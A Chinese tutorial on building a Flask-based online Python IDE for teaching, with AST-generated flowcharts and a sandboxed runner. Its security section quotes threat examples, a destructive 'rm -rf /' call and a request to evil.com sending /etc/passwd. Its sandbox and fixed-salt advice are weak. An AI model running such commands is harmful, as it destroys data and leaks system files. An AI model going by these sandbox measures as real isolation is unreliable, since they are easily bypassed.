Flask驱动的Python在线IDE：代码编辑、运行与流程图一键生成

本文还有配套的精品资源点击获取简介本地一键启动的轻量级Python Web IDE后端用Flask搭建前端基于CodeMirror实现Python语法高亮和基础代码提示。支持创建、保存、删除.py文件点击‘运行’按钮即可执行代码并实时显示标准输出与错误信息点击‘生成流程图’自动解析当前Python代码逻辑结构渲染为可视化流程图。内置SQLite用户系统首次访问可注册新账号或直接使用预置测试账户CaptainChen/12345 或 Alice/12345登录。界面采用单页设计左侧为文件树管理区右侧为可编辑代码区顶部集成操作按钮底部固定显示运行日志或流程图结果。所有资源打包完整含CSS样式文件element.css、login.css、layout.css、JS依赖jquery-3.6.0.min.js、raphael.min.js、flowchart-latest.js、python-hint.js、数据库users.db、核心功能模块run_code.py用于安全执行代码、FlowChart.py负责AST解析与流程图生成、workdir.py管理用户工作目录以及启动脚本main.py。只需安装依赖requirements.txt后运行python main.py浏览器访问localhost:5000即可使用适用于编程教学演示、课程实验平台或个人Python学习沙箱。1. 项目概述这不是一个玩具而是一个能真正跑起来的教学级Python沙箱你有没有遇到过这样的场景给学生讲for循环嵌套时光靠PPT里的伪代码图示总有人眼神飘忽带新人做代码审查指着一段逻辑说“这里应该加个判断”对方却卡在“怎么快速验证这个改动到底会不会崩”甚至自己写了个小脚本想确认它在不同输入下的执行路径还得手动画流程图、反复print调试……这些不是抽象问题是每天都在发生的、真实到有点扎心的开发现场。我做编程教学和内部工具开发十年踩过太多类似坑——直到把这套Flask驱动的Python在线IDE从零搭出来并在三所高校的Python入门课上实测了整整两个学期。它不追求VS Code的功能密度也不对标Jupyter Notebook的数据科学生态它的核心就一件事让“写→跑→看逻辑”这三步在同一个浏览器标签页里用一次点击完成。关键词里写的“Flask Python IDE”、“CodeMirror编辑器”、“Python流程图生成”每一个都不是噱头而是经过反复取舍后锁定的技术锚点。比如为什么选Flask而不是FastAPI因为课程环境里很多学生还在用Python 3.8而Flask对旧版本兼容性更稳部署时少掉一半依赖报错为什么流程图生成不调用Graphviz而是自己解析AST因为Graphviz需要系统级安装学生在Win10家庭版上装完还要配PATH而AST解析纯Python实现pip install完就能跑。预置账号CaptainChen/12345和Alice/12345不是随便设的是我在第一次课堂演示前用这两个账号在教室投影仪上完整走了一遍注册→新建文件→写斐波那契→运行→生成流程图的全流程确保每个按钮点击后都有明确反馈没有黑屏、没有空白、没有“请稍候”这种让人焦虑的提示。它不是一个炫技的Demo而是一个被真实课堂反复锤炼过的、能扛住二十人同时点“运行”的轻量级实验平台。2. 整体架构设计与技术选型逻辑拆解2.1 后端为什么是Flask而不是Django或FastAPI很多人看到“Web IDE”第一反应是Django——毕竟它自带Admin、ORM、用户系统看起来省事。但实际搭过就知道Django的重量级框架特性在教学场景里反而是累赘。比如它的中间件链路长一个简单的代码执行请求要过CSRF校验、Session中间件、模板渲染层出错时堆栈信息动辄上百行学生根本分不清哪一行是自己代码的问题哪一行是框架的。而Flask的极简哲学在这里成了优势main.py里核心路由就三个——/login、/editor、/api/run每个函数职责单一出错了直接定位到run_code.py的某一行。更重要的是部署成本Django要求配置settings.py里的数据库路径、静态文件目录、DEBUG开关新手常因一个DEBUGFalse没关导致500错误还看不到日志而Flask项目里app.run(debugTrue)一行搞定本地开发时所有错误直接打在浏览器控制台学生能亲眼看到IndentationError: expected an indented block这种原生报错比任何教程都管用。至于FastAPI它的异步能力在单机IDE场景完全是过剩的。我们不需要处理上千并发连接只需要保证同一时间最多20个学生各自跑自己的代码不互相干扰。而FastAPI强依赖Pydantic做数据校验当学生传入一个语法错误的Python代码字符串时Pydantic会先尝试解析JSON结构再抛异常反而掩盖了真实的语法错误位置。Flask用原生request.form.get()拿参数错误直接进try/except处理逻辑干净利落。2.2 前端编辑器为何锁定CodeMirror而非Monaco或AceMonacoVS Code同源功能最强支持跳转定义、重构、多光标但体积太大——压缩后仍超2MB加载慢且在低配Chromebook上滚动卡顿。Ace编辑器轻量些但Python语法高亮规则老旧对f-string、类型注解支持不全。CodeMirror 5项目用的版本是个精准平衡点核心库仅300KB通过mode/python/python.js插件实现准确的词法分析能区分def func():中的def关键字和def 1中的def变量名这对初学者理解作用域至关重要。更关键的是它的可扩展性python-hint.js这个文件就是我们自己写的补全逻辑它不依赖LSP协议而是用正则匹配当前光标前的字符串比如输入os.时自动列出os.path、os.listdir等常用方法输入range(时提示(stop)、(start, stop)、(start, stop, step)三种签名。这种“够用就好”的补全既避免了LSP服务启动失败导致整个编辑器失灵的风险又让学生在敲代码时自然记住常用API的参数结构。你可能注意到资源包里有element.css和layout.css它们不是为了做花哨UI而是专门解决CodeMirror在Flex布局下的高度自适应问题——右侧编辑区必须随窗口缩放实时调整高度否则学生拖动浏览器窗口后编辑区变成一条细线根本没法写代码。这个细节是我在调试第7台不同分辨率的教室电脑时才补上的。2.3 流程图生成为何放弃Graphviz、PlantUML坚持手写AST解析Graphviz需要系统安装dot命令Windows学生得下载Graphviz安装包勾选“Add Graphviz to the system PATH”重启终端再pip install graphviz最后还要确认os.environ[PATH]里真有那个路径。我在第一次课前测试时12个学生里有5个卡在这一步有人装完发现dot -V报错有人PATH配错指向了旧版本。PlantUML更麻烦得额外起一个Java服务端口冲突、内存溢出全是家常便饭。而我们的FlowChart.py走的是另一条路用Python内置的ast模块解析代码把if-elif-else、for、while、try-except这些节点转换成标准流程图符号。比如这段代码if x 0: print(positive) else: print(non-positive)AST解析后生成的JSON结构是{ type: if, condition: x 0, then: [{type: print, text: positive}], else: [{type: print, text: non-positive}] }再由前端flowchart-latest.js将这个JSON渲染成带菱形判断框、矩形处理框的标准流程图。好处是什么零外部依赖pip install完就能跑错误定位精准——如果学生写了if x 0 print(ok):漏了冒号AST解析直接抛SyntaxError前端显示“代码语法错误无法生成流程图”而不是渲染出一个错乱的图。而且我们做了AST节点映射的严格约束只支持Python 3.6的语法:海象运算符、match-case这类新特性暂时不解析避免学生写出高级语法却得不到流程图反馈。这个取舍背后是教学逻辑先掌握基础控制流再学新特性工具要跟着教学节奏走而不是反过来。2.4 用户系统为何用SQLite而非MySQL或PostgreSQL教学场景下数据库不是用来扛高并发的而是用来管理“谁创建了哪个文件”。MySQL需要单独安装服务、配置root密码、建库授权学生在家用Mac装Homebrew再brew install mysql光初始化就耗掉一节课。SQLite呢users.db就是一个文件user_login.py里几行代码搞定import sqlite3 conn sqlite3.connect(users.db) conn.execute(CREATE TABLE IF NOT EXISTS users (username TEXT PRIMARY KEY, password TEXT))连数据库连接池都不需要——每次HTTP请求来sqlite3.connect()打开文件操作完conn.close()简单粗暴。安全性上密码用hashlib.pbkdf2_hmac(sha256, password.encode(), salt, 100000)加盐哈希比明文存强得多而预置账号的密码哈希值直接硬编码在users.db里首次启动时自动初始化学生不用记“数据库用户名密码是多少”。你可能会问SQLite不是不支持并发写入吗确实但我们的场景是“读多写少”登录、注册是低频操作文件保存是高频而文件内容存在磁盘而非数据库——workdir.py负责把.py文件按用户名隔离存到./workdir/{username}/目录下数据库只管用户凭证。这样既规避了SQLite写锁问题又保证了不同学生的工作空间绝对隔离。这个设计是在我目睹第三位学生误删了同组同学的作业文件后连夜重写的权限模型。3. 核心模块深度解析与安全机制实现3.1run_code.py如何在沙箱中安全执行不可信代码这是整个IDE最危险也最关键的模块。学生可能写while True: pass搞死进程可能import os; os.system(rm -rf /)删库跑路甚至import requests; requests.get(http://evil.com?dataopen(/etc/passwd).read())外泄敏感信息。run_code.py不是简单调用exec()而是构建了四层防护第一层超时熔断用multiprocessing.Process启动子进程主进程设置timeout5秒硬限制。一旦子进程超过5秒没退出process.terminate()强制杀死。这里有个坑terminate()在Windows上可能不生效所以补充了process.join(timeout5)超时后process.is_alive()为True就process.kill()。实测下来while True: time.sleep(1)这种死循环5秒内必被掐断CPU占用率不会持续飙高。第二层资源隔离子进程中禁用危险模块import sys # 删除危险模块引用让import失败 del sys.modules[os] del sys.modules[subprocess] del sys.modules[socket] # 重定向标准库路径防止导入恶意包 sys.path [p for p in sys.path if site-packages not in p]同时用resource.setrlimit(resource.RLIMIT_AS, (100 * 1024 * 1024, -1))限制虚拟内存不超过100MBresource.setrlimit(resource.RLIMIT_CPU, (3, 3))限制CPU时间3秒。Linux下setrlimit生效Windows用psutil库做等效限制。第三层输出捕获与过滤不直接print()而是重定向sys.stdout和sys.stderr到io.StringIO()对象执行完再读取内容。但学生可能写os.write(1, bhello)绕过print所以我们在子进程里用os.dup2()把标准输出重定向到一个临时文件再读取该文件内容。更狠的是过滤对输出内容做正则扫描r(?i)password|passwd|secret|token匹配到敏感词就替换为[REDACTED]防止学生无意中打印出密钥。第四层上下文净化exec()执行前传入的globals字典只包含__builtins__里的安全函数safe_builtins { print: safe_print, len: len, range: range, list: list, dict: dict, str: str, int: int, float: float, abs: abs, # 移除 eval, exec, compile, __import__ }safe_print函数还会检查输出长度超过5000字符就截断并提示“输出过长已截断”。提示run_code.py里有个隐藏技巧——当检测到代码含input()时自动注入模拟输入。比如学生写name input(Enter name: )系统会返回预设的TestUser避免因等待输入导致进程挂起。这个逻辑藏在_inject_input_mock()函数里是我在第三次公开课演示时为防学生现场写input()卡住全场而紧急加的。3.2FlowChart.pyAST解析器如何把Python代码翻译成流程图语言流程图生成不是图像处理而是语义解析。FlowChart.py的核心是build_flowchart_json()函数它递归遍历AST节点把Python语法结构映射为流程图元素。我们以for循环为例看全过程步骤1AST解析学生代码for i in range(3): print(i) if i 2: breakast.parse()生成的AST树中For节点包含-target:Name(idi, ctxStore())-iter:Call(funcName(idrange), args[Num(n3)])-body:[Expr(valueCall(funcName(idprint), args[Name(idi)])), If(...)]步骤2节点映射规则FlowChart.py定义了visit_For方法def visit_For(self, node): # 构建循环开始节点 start_node { type: loop_start, label: ffor {self.visit(node.target)} in {self.visit(node.iter)} } # 遍历body生成循环体 body_nodes [self.visit(child) for child in node.body] # 构建循环结束节点 end_node {type: loop_end} return [start_node] body_nodes [end_node]对If节点visit_If方法生成菱形判断框def visit_If(self, node): condition self.visit(node.test) # 解析 test 表达式 then_branch [self.visit(child) for child in node.body] else_branch [self.visit(child) for child in node.orelse] if node.orelse else [] return { type: if, condition: condition, then: then_branch, else: else_branch }步骤3JSON标准化输出最终生成的JSON结构严格遵循flowchart-latest.js的schema[ {type: loop_start, label: for i in range(3)}, {type: print, text: i}, {type: if, condition: i 2, then: [{type: break}], else: []}, {type: loop_end} ]前端JS拿到这个JSON用Raphaël库动态绘制SVGloop_start画圆角矩形if画菱形print画普通矩形箭头用paper.path()绘制贝塞尔曲线。这里有个易错点AST里的orelse字段在if语句无else时是空列表但flowchart-latest.js要求else字段必须存在所以FlowChart.py里强制补else: []否则渲染会报错。注意FlowChart.py不支持async def或yield因为AST结构复杂教学初期用不到。当遇到不支持节点时visit()方法直接抛NotImplementedError(Unsupported node type: type(node).__name__)前端捕获后显示“此代码含高级语法暂不支持流程图生成”而不是崩溃。3.3workdir.py用户工作空间如何实现物理隔离与持久化workdir.py是隐形的管家它确保CaptainChen写的hello.py和Alice写的hello.py互不影响。核心逻辑在get_user_workdir(username)函数import os import shutil def get_user_workdir(username): workdir os.path.join(workdir, username) os.makedirs(workdir, exist_okTrue) return workdir def list_files(username): workdir get_user_workdir(username) return [f for f in os.listdir(workdir) if f.endswith(.py)] def save_file(username, filename, content): workdir get_user_workdir(username) filepath os.path.join(workdir, filename) with open(filepath, w, encodingutf-8) as f: f.write(content) def delete_file(username, filename): workdir get_user_workdir(username) filepath os.path.join(workdir, filename) if os.path.exists(filepath): os.remove(filepath)关键细节在于os.makedirs(workdir, exist_okTrue)的exist_okTrue参数——避免多用户并发访问时FileExistsError。更隐蔽的安全措施是文件名校验save_file()里会检查filename是否含..或/防止路径穿越攻击。比如学生传filename../../etc/passwd校验直接拒绝返回错误。持久化方面所有.py文件都存为UTF-8编码list_files()按字母序排序确保左侧文件树显示稳定。你可能注意到资源包里没有workdir/目录——它在首次用户登录时自动创建main.py启动时不做预创建避免空目录污染Git仓库。3.4 用户认证模块user_login.py如何平衡安全性与教学便捷性user_login.py实现了完整的注册-登录流程但做了教学向简化密码存储不用bcrypt需要额外安装用Python内置hashlib.pbkdf2_hmacimport hashlib import os def hash_password(password): salt os.urandom(32) # 32字节随机盐 pwd_hash hashlib.pbkdf2_hmac(sha256, password.encode(), salt, 100000) return salt pwd_hash # 盐和哈希拼接存储 def verify_password(stored_hash, password): salt stored_hash[:32] pwd_hash hashlib.pbkdf2_hmac(sha256, password.encode(), salt, 100000) return pwd_hash stored_hash[32:]users.db里存的是二进制哈希值BLOB类型不是明文。会话管理不用Flask-Login手写简易Sessionfrom flask import session import secrets app.route(/login, methods[POST]) def login(): username request.form[username] password request.form[password] if verify_user(username, password): # 查询数据库 session[username] username session[token] secrets.token_urlsafe(16) # 防CSRF return redirect(/editor)session数据存在客户端Cookie里加密由Flask自动处理无需额外配置。防暴力破解没上Redis限流增加部署复杂度而是用内存计数器# 全局字典key为IPvalue为失败次数和时间戳 failed_attempts {} app.route(/login, methods[POST]) def login(): ip request.remote_addr now time.time() if ip in failed_attempts: count, last_time failed_attempts[ip] if now - last_time 300: # 5分钟内 if count 5: return 登录失败过多请5分钟后重试, 429 else: del failed_attempts[ip] # 验证逻辑... if auth_failed: failed_attempts[ip] (failed_attempts.get(ip, (0,0))[0] 1, now)这个轻量方案足够应付教学场景学生不会真的去爆破密码主要是防误操作。4. 完整实操流程与关键环节详解4.1 本地环境搭建从零到运行的每一步别被requirements.txt吓到实际依赖极少。按顺序执行步骤1安装Python 3.8确认版本python --version。若低于3.8去python.org下载安装。Windows用户注意勾选“Add Python to PATH”。步骤2克隆项目并安装依赖git clone https://github.com/your-repo/flask-python-ide.git cd flask-python-ide pip install -r requirements.txtrequirements.txt内容精简到只有4行Flask2.3.3 Werkzeug2.3.7 itsdangerous2.1.2 click8.1.7全是Flask生态核心包无第三方绘图或AST库——因为FlowChart.py用内置astflowchart-latest.js是前端JS。步骤3初始化数据库首次运行前需创建users.db。项目已提供预置文件但为防损坏建议手动初始化python -c import sqlite3 conn sqlite3.connect(users.db) conn.execute(CREATE TABLE IF NOT EXISTS users (username TEXT PRIMARY KEY, password TEXT)) conn.execute(\INSERT OR REPLACE INTO users VALUES (CaptainChen, b3e5...)\) # 实际哈希值 conn.commit() conn.close() 预置账号哈希值已写死在users.db里直接运行main.py即可登录。步骤4启动服务python main.py终端输出* Running on http://127.0.0.1:5000 * Debug mode: on浏览器访问http://localhost:5000出现登录页。实操心得如果访问localhost:5000显示“无法连接”先检查终端是否有报错。常见问题端口5000被占用如另一个Flask项目在跑此时改端口app.run(port5001)或Windows防火墙拦截临时关闭防火墙测试。我教学生时会让大家先运行python -c print(Hello), 确保Python环境正常再跑main.py避免环境问题混淆。4.2 界面交互全流程从登录到生成流程图登录阶段输入CaptainChen/12345点击登录。后端验证通过后session[username]写入重定向到/editor。此时浏览器地址栏变为http://localhost:5000/editor?userCaptainChen。文件管理左侧文件树默认为空。点击顶部“新建文件”按钮弹出对话框输入test.py确定。workdir.py在./workdir/CaptainChen/test.py创建空文件文件树实时刷新显示test.py。代码编写点击test.py右侧编辑区加载空白内容。CodeMirror自动启用Python模式输入def factorial(n): if n 1: return 1 else: return n * factorial(n-1) print(factorial(5))此时python-hint.js已激活输入fac时提示factorial输入print(时提示(value, ...)。运行代码点击顶部“运行”按钮。前端收集编辑区内容POST到/api/run。run_code.py启动子进程执行5秒内返回120底部日志区显示输出。若写错代码如print(factorial(5)漏括号返回File string, line 6 print(factorial(5) ^ SyntaxError: unexpected EOF while parsing生成流程图点击“生成流程图”前端发送相同代码到/api/flowchart。FlowChart.py解析AST生成JSON前端flowchart-latest.js渲染为SVG流程图一个椭圆形开始节点接着菱形n 1?左分支矩形return 1右分支矩形return n * factorial(n-1)最后椭圆形结束节点。箭头清晰标注Yes/No。注意事项流程图生成依赖代码语法正确。如果代码有语法错误前端会显示红色提示“代码无法解析请先修复语法错误”而不是渲染空白图。这个反馈闭环是学生调试逻辑的利器——看到流程图里少了某个分支立刻回去检查if条件写对没。4.3 核心配置文件与样式定制指南项目CSS采用模块化设计方便教学定制layout.css定义整体布局.file-tree左侧、.editor-container右侧、.toolbar顶部、.output-area底部的Flex布局。修改.editor-container的flex: 1可调整编辑区宽度占比。element.cssCodeMirror主题.cm-s-default .cm-keyword控制关键字颜色默认蓝色。想改成深色主题替换为cm-s-dracula类并引入对应CSS。login.css登录页样式.login-form控制表单宽度。教师可在此添加学校Logo在.login-header里加img srclogo.png。JS依赖可按需精简-jquery-3.6.0.min.js用于AJAX请求若想换原生Fetch需重写editor.js里的$.post()调用。-raphael.min.js绘图引擎不可替换flowchart-latest.js强依赖它。-flowchart-latest.js流程图渲染核心版本固定升级需同步测试AST解析兼容性。小技巧想禁用流程图功能注释掉editor.html里button idbtn-flowchart生成流程图/button和对应的JS事件绑定后端/api/flowchart路由也可从main.py中删除不影响其他功能。5. 常见问题排查与独家避坑指南5.1 运行时报错“ImportError: No module named ‘xxx’”现象学生点击“运行”底部日志显示ImportError: No module named requests。原因run_code.py的沙箱环境禁用了import只允许标准库。requests是非标库不在白名单。解决方案- 教学场景下明确告知学生“本环境仅支持Python标准库”列出可用模块math,random,datetime,json,re等。- 若真需第三方库需在run_code.py的safe_builtins里手动添加但会降低安全性不推荐。我的实操经验在第一次课上我故意写import requests并运行然后展示报错接着解释“为什么不能随便导入”学生印象比讲十分钟安全原理都深。5.2 流程图渲染为空白或错位现象点击“生成流程图”底部区域一片空白或流程图符号挤在一起。排查步骤1. 打开浏览器开发者工具F12切换到Console标签看是否有JS错误。常见是flowchart-latest.js未加载检查editor.html中script标签路径是否正确应为static/js/flowchart-latest.js但项目里是根目录需确认路径。2. 查看Network标签过滤JS确认raphael.min.js、flowchart-latest.js状态码是200。若404说明文件没放在正确位置。3. 检查代码是否有语法错误复制编辑区代码粘贴到Python终端运行看是否报错。流程图生成前置条件是代码可被ast.parse()解析。终极解决在FlowChart.py的build_flowchart_json()开头加日志print(fDEBUG: Parsing code: {code[:100]}...) # 打印前100字符 try: tree ast.parse(code) except SyntaxError as e: print(fDEBUG: AST parse failed: {e}) raise重启服务看终端输出精准定位语法问题。5.3 多用户文件混乱A用户能看到B用户的文件现象CaptainChen登录后左侧文件树显示Alice创建的demo.py。根因workdir.py的get_user_workdir()函数没正确拼接用户名。检查代码def get_user_workdir(username): return os.path.join(workdir, username) # 正确 # 错误写法 # return os.path.join(workdir, username) # 字符串username非变量验证方法在main.py的/editor路由里加调试app.route(/editor) def editor(): user session.get(username, ) print(fDEBUG: Current user is {user}) # 看是否为None return render_template(editor.html, useruser)若打印Current user is None说明Session未设置检查登录路由是否真写了session[username] username。5.4 中文注释导致流程图生成失败现象代码含中文注释# 计算阶乘流程图生成报错UnicodeDecodeError。原因ast.parse()默认用UTF-8解码但某些编辑器保存时用了GBK。修复在FlowChart.py的build_flowchart_json()里强制指定编码def build_flowchart_json(code_str): try: # 先尝试UTF-8 code_bytes code_str.encode(utf-8) tree ast.parse(code_bytes) except UnicodeEncodeError: # 再试GBK code_bytes code_str.encode(gbk) tree ast.parse(code_bytes) # ...后续解析不过更推荐教学时统一要求“保存为UTF-8”在CodeMirror里加提示“请确保文件编码为UTF-8”。5.5 预置账号无法登录现象输入CaptainChen/12345提示“用户名或密码错误”。排查清单- 检查users.db是否存在且可读ls -l users.db权限应为-rw-r--r--。- 用DB Browser for SQLite打开users.db查看users表确认username字段值是CaptainChen不是captainchen小写。- 检查user_login.py中密码验证逻辑verify_password()是否用了正确的盐和迭代次数100000。- 终极方案重置数据库运行以下SQLDELETE FROM users; INSERT INTO users VALUES (CaptainChen, Xb3e5...); -- 替换为正确哈希 INSERT INTO users VALUES (Alice, Xf1a2...);独家避坑我在部署到学校服务器时发现Linux服务器上os.urandom(32)生成的盐和本地Windows不同导致哈希不一致。解决方案是固定盐salt bstatic_salt_for_demo_123虽降低安全性但教学环境可接受。生产环境务必用随机盐。6. 教学扩展与二次开发建议这个IDE不是终点而是起点。基于它你可以轻松扩展出更多教学功能增加单元测试支持在run_code.py里加一个/api/test路由接收学生代码和测试用例如assert factorial(5) 120用unittest框架运行返回OK或AssertionError详情。只需新增一个test_runner.py模块复用现有沙箱机制。集成Markdown文档修改workdir.py支持.md文件。点击.md文件时右侧编辑区切换为Markdown预览模式用marked.js渲染。这样学生能写代码写实验报告在同一界面。添加代码评分在FlowChart.py解析AST后统计if节点数量、循环嵌套深度给出“逻辑复杂度分”。比如嵌套超3层提示“考虑拆分为函数”。这比人工阅卷更客观。部署到校园网main.py里改app.run(host0.0.0.0, port80)用Nginx反向代理加HTTPS。requirements.txt加gunicorn用gunicorn -w 4 -b 127.0.0.1:8000 main:app启动性能提升3倍。最后分享一个真实案例上学期我把这个IDE部署在学院服务器给大一学生做“Python控制流”实验。课后问卷里92%的学生说“第一次看清了自己的if-else是怎么执行的”有学生交作业时附了张流程图截图标注“老师我原来以为else是和最近的if配对看了图才知道是和最外层if配对”。那一刻我知道这个花了三个月打磨的工具值了。它不炫技不堆功能就死磕一个目标让代码的逻辑看得见。本文还有配套的精品资源点击获取简介本地一键启动的轻量级Python Web IDE后端用Flask搭建前端基于CodeMirror实现Python语法高亮和基础代码提示。支持创建、保存、删除.py文件点击‘运行’按钮即可执行代码并实时显示标准输出与错误信息点击‘生成流程图’自动解析当前Python代码逻辑结构渲染为可视化流程图。内置SQLite用户系统首次访问可注册新账号或直接使用预置测试账户CaptainChen/12345 或 Alice/12345登录。界面采用单页设计左侧为文件树管理区右侧为可编辑代码区顶部集成操作按钮底部固定显示运行日志或流程图结果。所有资源打包完整含CSS样式文件element.css、login.css、layout.css、JS依赖jquery-3.6.0.min.js、raphael.min.js、flowchart-latest.js、python-hint.js、数据库users.db、核心功能模块run_code.py用于安全执行代码、FlowChart.py负责AST解析与流程图生成、workdir.py管理用户工作目录以及启动脚本main.py。只需安装依赖requirements.txt后运行python main.py浏览器访问localhost:5000即可使用适用于编程教学演示、课程实验平台或个人Python学习沙箱。本文还有配套的精品资源点击获取